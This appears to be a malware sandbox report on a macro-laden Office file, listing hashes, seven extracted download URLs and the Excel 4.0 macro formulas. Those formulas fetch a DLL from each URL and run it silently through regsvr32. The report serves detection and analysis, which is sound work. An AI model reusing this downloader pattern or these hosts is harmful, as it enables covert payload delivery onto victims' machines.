General
-
Target
8f26fda7673952952dfb58d965cc21c7a94a66ac5136f8ecac910c1724fc34a8
-
Size
73KB
-
MD5
d549c96a65c358db40e90cf7e1d26c45
-
SHA1
f28b1a0d366ec77aa1af81136e4410c8c8d75cf7
-
SHA256
8f26fda7673952952dfb58d965cc21c7a94a66ac5136f8ecac910c1724fc34a8
-
SHA512
0cd8335d6e8ff65d3298b1530e0d67456b01d117c8db2aa33c45c6e3666f75f5b0db202a68177b0127ad52dd1377bded383a68e1e483250972d21fbacec096d1
-
SSDEEP
1536:o+1kiXSto0NSVUINwtzLT7OMuuAe0yOcfpXZGsMlVq0iRq:o+1kiCtzSmICpH7OZuvZGsMe0/
Malware Config
Extracted
https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/
http://almoiz.com/urdu/LDlbo5gc4c/
http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/
http://avrworks.com/mail/tGJconiBvy59a81/
http://asave.com.mx/cgi-bin/CUa/
https://aquinoabogados.com.ar/newsletter/tx9KBb2j/
http://avcservices-tt.com/EANAPI/hswSV1/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://fitfabtherapy.com/Untitled-1/AdRf0JsnyI/","..\ujg.dll",0,0) =IF('EGDGB'!F7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://almoiz.com/urdu/LDlbo5gc4c/","..\ujg.dll",0,0)) =IF('EGDGB'!F9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.e-tactics.com/wordpress/wpau-backup/i8Sv/","..\ujg.dll",0,0)) =IF('EGDGB'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://avrworks.com/mail/tGJconiBvy59a81/","..\ujg.dll",0,0)) =IF('EGDGB'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://asave.com.mx/cgi-bin/CUa/","..\ujg.dll",0,0)) =IF('EGDGB'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aquinoabogados.com.ar/newsletter/tx9KBb2j/","..\ujg.dll",0,0)) =IF('EGDGB'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://avcservices-tt.com/EANAPI/hswSV1/","..\ujg.dll",0,0)) =IF('EGDGB'!F19<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\ujg.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
8f26fda7673952952dfb58d965cc21c7a94a66ac5136f8ecac910c1724fc34a8